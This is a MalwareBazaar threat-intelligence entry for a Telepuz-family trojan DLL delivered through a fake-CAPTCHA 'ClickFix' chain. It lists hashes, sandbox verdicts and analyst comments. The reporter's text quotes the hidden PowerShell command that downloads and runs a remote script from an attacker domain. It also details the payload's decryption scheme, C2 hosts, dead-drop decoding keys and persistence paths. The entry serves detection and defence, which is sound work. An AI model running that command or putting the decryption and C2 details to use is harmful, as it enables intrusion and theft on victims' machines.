MalwareBazaar Database

You are currently viewing the MalwareBazaar entry for SHA256 aa4f09a1be061cde697c990df49bb09b78639acc1f0decc7b7ef5c30f4df694f. While MalwareBazaar tries to identify whether the sample provided is malicious or not, there is no guarantee that a sample in MalwareBazaar is malicious.

Database Entry

Threat unknown

Vendor detections: 10

Intelligence 10 IOCs YARA 1 File information Comments 2

SHA256 hash:	aa4f09a1be061cde697c990df49bb09b78639acc1f0decc7b7ef5c30f4df694f
SHA3-384 hash:	6a844fde57a96c9841c300626fd9a632125e9d314dc9c317f22b9c4e716fd49840e2f304f0e1e01ba726ca1aa1e080b2
SHA1 hash:	5a556579199de49158703ce3ed89a4f016cf4001
MD5 hash:	20d3db1254f5f77a928fe4c6bff3ba1f
humanhash:	earth-sierra-lactose-echo
File name:	data.dat.decrypted.dll
Download:	download sample
File size:	373'248 bytes
First seen:	2026-10-12 00:25:47 UTC
Last seen:	Never
File type:	exe
MIME type:	application/vnd.microsoft.portable-executable
imphash	8b32fab1961f99324b08e080e7ac7761
ssdeep	6144:iK+DnS1qruj/DtI7dGk/0PQEkXMQSJDIW640nRo8S6phiFAPpvnu:ibS1ydGkAkXlQDIp9Gon
TLSH	T111842A14F6956CE4C9AFC339465A1233E07C790483749EFB5BD51AA21A50AF4EA3C3EC
TrID	33.1% (.EXE) Win64 Executable (generic) (6522/11/2) 25.6% (.EXE) Win16 NE executable (generic) (5038/12/1) 10.4% (.ICL) Windows Icons Library (generic) (2059/9) 10.3% (.EXE) OS/2 Executable (generic) (2029/13) 10.1% (.EXE) Generic Win/DOS Executable (2002/3)
Magika	pebin
Reporter	Daydream
Tags:	ClickFix decrypted dll exe FakeCaptcha sideloading

Daydream

Final payload of a ClickFix chain, decrypted statically from data.dat (never on disk in this form; identical for every victim, only the encryption is per machine). PE32+ DLL, export DllMain, compiled 2026-09-10; own TLS via Secur32 over sockets plus WinHTTP/WinINet, parent-PID spoofing, RC4, FNV API hashing, no clear strings. Family not identified. Decryption of data.dat: key = SHA-256 of the text '<MachineGuid>|<C: volume serial, 8 upper-case hex>|<COMPUTERNAME>'; the loader checks HMAC-SHA256(key, data[:-32]) == data[-32:], then AES-256-CBC (CNG, PKCS7) with IV = data[0:16] over data[16:-32]. ClickFix chain: fake CAPTCHA pages plant 'powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('https://wall.casajuanchos.com/pidor.ps1'))'. pidor.ps1 (7623bd07f235e9969183d6d4b5069b4689948e3996b04b4c5d39d90cbcbf0e52) sends MachineGuid|C: serial|computer name|BIOS maker|model|GPU|user as base64 in https://wall.casajuanchos.com/d/<b64> and gets update.zip built for that machine: genuine signed Everything.exe 1.5.0.1423b (81b4d05e84e61891ac043dd76e97de616af17adf53b2ee2fe984d8b0bbbfcc21), Everything.ini, WindowsCodecs.dll (1e29472ea92b8218232d63d0c72859e94e531d9b6d804555c97b26b076af4d23) and data.dat.

Intelligence

File Origin

# of uploads :

# of downloads :

326

Origin country :

Vendor Threat Intelligence

No detections

Malware family:

n/a

ID:

File name:

exe

Verdict:

Malicious activity

Analysis date:

2026-10-12 00:33:39 UTC

Tags:

websocket

Link:

https://app.any.run/tasks/9a1bed6f-3fc1-4cb3-a1bc-6fae5024c67c

Note:

ANY.RUN is an interactive sandbox that analyzes all user actions rather than an uploaded sample

Detection:

n/a

Link:

https://www.capesandbox.com/analysis/91480/

Detection(s):

SecuriteInfo.com.Win64.Evo-gen.58347333.UNOFFICIAL

Verdict:

Malicious

Score:

92.5%

Link:

https://cyber-fortress.com/docs/result/index.php?id=6ad0dfae6f551121ba160c0d

Tags:

malware

Result

Verdict:

Clean

Maliciousness:

Behaviour

Сreating synchronization primitives

Verdict:

Suspicious

Threat level:

5/10

Confidence:

100%

Tags:

anti-debug anti-vm fingerprint masquerade packed

Link:

https://www.filescan.io/uploads/6acc292e43f5510c48e9f3de/reports/9672cfbc-e4c7-4d2c-b969-e5e0112c5365/overview

Verdict:

Malicious

Labled as:

Win/malicious_confidence_100%

Link:

https://www.hybrid-analysis.com/sample/aa4f09a1be061cde697c990df49bb09b78639acc1f0decc7b7ef5c30f4df694f

Verdict:

Malicious

File Type:

dll x64

First seen:

2026-10-11T22:27:00Z UTC

Last seen:

2026-10-13T02:37:00Z UTC

Hits:

~10

Link:

https://opentip.kaspersky.com/aa4f09a1be061cde697c990df49bb09b78639acc1f0decc7b7ef5c30f4df694f/results?tab=lookup

Verdict:

Unknown

Link:

https://analyze.intezer.com/analyses/8ae64cdb-e986-45d3-9ddd-646400a1e2a7

Score:

98%

Verdict:

Malware

File Type:

Link:

https://malprob.io/report/aa4f09a1be061cde697c990df49bb09b78639acc1f0decc7b7ef5c30f4df694f

Verdict:

inconclusive

YARA:

5 match(es)

Tags:

Executable PDB Path PE (Portable Executable) PE File Layout Win 64 Exe x64

Link:

https://app.malva.re/file/20d3db1254f5f77a928fe4c6bff3ba1f

Detection:

n/a

Link:

https://mwdb.cert.pl/sample/aa4f09a1be061cde697c990df49bb09b78639acc1f0decc7b7ef5c30f4df694f/

Threat name:

Win64.Trojan.Generic

Status:

Suspicious

First seen:

2026-10-12 00:26:25 UTC

File Type:

PE+ (Dll)

AV detection:

10 of 24 (41.67%)

Threat level:

5/5

Detection(s):

Suspicious file

Link:

https://check.spamhaus.org/check/?searchterm=vjhqtin6ayon42l4teg7jg5qtn4ghgwmd4g6zr5x55odb5g7nfhq._file

Result

Malware family:

n/a

Score:

8/10

Tags:

discovery execution

Link:

https://tria.ge/reports/261012-arbjnscf83/

Behaviour

Runs ping.exe

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Executes a command shell one-liner

Reads the TCP/IP host and domain name from the registry

System Network Configuration Discovery: Internet Connection Discovery

Loads dropped DLL

Badlisted process makes network request

Unpacked files

SH256 hash:

aa4f09a1be061cde697c990df49bb09b78639acc1f0decc7b7ef5c30f4df694f

MD5 hash:

20d3db1254f5f77a928fe4c6bff3ba1f

SHA1 hash:

5a556579199de49158703ce3ed89a4f016cf4001

Link:

https://www.unpac.me/results/aff183e4-8fd4-479f-afa8-2ca55bc6f35b/

Malware family:

Telepuz

Verdict:

Malicious

Link:

https://www.vmray.com/analyses/_mb/aa4f09a1be06/report/overview.html

Please note that we are no longer able to provide a coverage score for Virus Total.

YARA Signatures

MalwareBazaar uses YARA rules from several public and non-public repositories, such as YARAhub and Malpedia. Those are being matched against malware samples uploaded to MalwareBazaar as well as against any suspicious process dumps they may create. Please note that only results from TLP:CLEAR rules are being displayed.

Rule name:	TH_AntiVM_MassHunt_Win_Malware_2026_CYFARE Create hunting rule
Author:	CYFARE
Description:	Detects Windows malware employing anti-VM / anti-sandbox evasion techniques across VMware, VirtualBox, Hyper-V, QEMU, Xen, and generic sandbox environments
Reference:	https://cyfare.net/

File information

The table below shows additional information about this malware sample such as delivery method and external references.

Web download

exe 1e29472ea92b8218232d63d0c72859e94e531d9b6d804555c97b26b076af4d23

exe aa4f09a1be061cde697c990df49bb09b78639acc1f0decc7b7ef5c30f4df694f

(this sample)

Dropped by

SHA256 1e29472ea92b8218232d63d0c72859e94e531d9b6d804555c97b26b076af4d23

Delivery method

Distributed via web download

Cape

https://www.capesandbox.com/analysis/91480/

Dropped by

MD5 71fce1f2250a8ec70e2f2bf975585925

Comments

Login required

You need to login to in order to write a comment. Login with your abuse.ch account.

commented on 2026-10-12 14:33:48 UTC

Strings decrypted statically (333; decoder functions emulated). Values read 2026-10-12: t.me/molerkorstarstot [[CggIDE8IAAEGGxQIAhZWBxcb]] -> raft.asyoulike.nyc; steamcommunity.com/profiles/76561199770856090 'GwUPAU8IABEIAAgABRIbDAcRTwocFQ' -> clay.asianpalaceii.com; Polygon -> h=frog.britishboxing.net|p=443|ssl=1. Primary C2 in the sample: bee.beachcafemb.com. Dead-drop decoding for this build: Telegram og:description holds [[base64]] and the Steam profile name holds base64; decode and XOR with the repeating key 'xinxais' (the July 2026 build in Elastic's report used 'Goodman'). Polygon contract 0xf55Bea1FdCf1c3ABb39ab92567C09aC1BFf6753E, selector 0xc3f909d4, returns hex of 16-byte IV + AES-256-CBC with key cee96a38e2dfe31ccf8c3aa7d0d9323e1e3183b2478ba582285822e943d242e9, plaintext 'h=<host>|p=<port>|ssl=<0|1>'. DNS fallback name shortcut_124.store (no record on 2026-10-12). Mutexes Global\CarbideSvc_mtx, Local\CarbideSvc_mtx. Paths %s\DorvexSys\Inspector, %s\JobAligner.dll, %s\Hurnvex\Relay; relaunch 'rundll32.exe "%s",DllMain' and '"%sEverything.exe" --startup'. Session ID = FNV (prime 0x01000193) and rotl5+0x9E3779B9 hashes over computer name, C: volume serial and InstallDate, printed %08X%08X. Contains Elastic's quoted string 'INJECT:TODO:pid=%u:shellcode_len=%u'. YARA: TELEPUZ_SessionId_DualHash_Oct2026 (YARAify).

commented on 2026-10-12 00:48:59 UTC

Assessed as TELEPUZ (newer build than Elastic Security Labs' report of 2026-07-16): same Polygon contract 0xf55Bea1FdCf1c3ABb39ab92567C09aC1BFf6753E and selector 0xc3f909d4, WebSocket C2 over SChannel with a 16-hex session ID, Telegram/Steam/Polygon fallbacks, AppInfo debug-object UAC bypass strings. Elastic's rule Windows_Trojan_Telepuz_9e2c9a0b does not match this build. Observed by running the decrypted payload aa4f09a1be061cde697c990df49bb09b78639acc1f0decc7b7ef5c30f4df694f in an isolated lab (server not contacted): WebSocket upgrade GET https://bee.beachcafemb.com/analytics/check?lang=<16 hex session id>, no User-Agent, retried with back-off; after about 55 s fallbacks every 11.5 s: https://t.me/molerkorstarstot, https://steamcommunity.com/profiles/76561199770856090 and eth_call {to 0xf55Bea1FdCf1c3ABb39ab92567C09aC1BFf6753E, data 0xc3f909d4} via polygon.gateway.tenderly.co, api.zan.top/polygon-mainnet, rpc-mainnet.matic.quiknode.pro, polygon.publicnode.com, polygon-bor.publicnode.com, polygon.drpc.org. Delivered by ClickFix via wall.casajuanchos.com (ThreatFox 1961112, 1961113) as an Everything.exe + WindowsCodecs.dll side-loading set.